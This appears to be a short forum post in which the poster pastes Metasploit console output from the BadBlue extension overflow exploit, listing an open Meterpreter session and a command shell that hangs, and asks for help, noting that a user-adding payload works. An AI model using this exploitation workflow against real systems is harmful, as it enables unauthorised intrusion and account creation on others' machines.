msf exploit(badblue_ext_overflow) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.170.1:45544 -> 192.168.170.129:4444
2 Command shell Local Pipe -> Remote Pipe

msf exploit(badblue_ext_overflow) > sessions -i 2
[*] Starting interaction with 2...


**and thats about all i get, tried it with a few different sploits same result :-(

the useradd payload does work though



if anyone has been here, let me know if there is a nifty little trick to make it happen.

-CG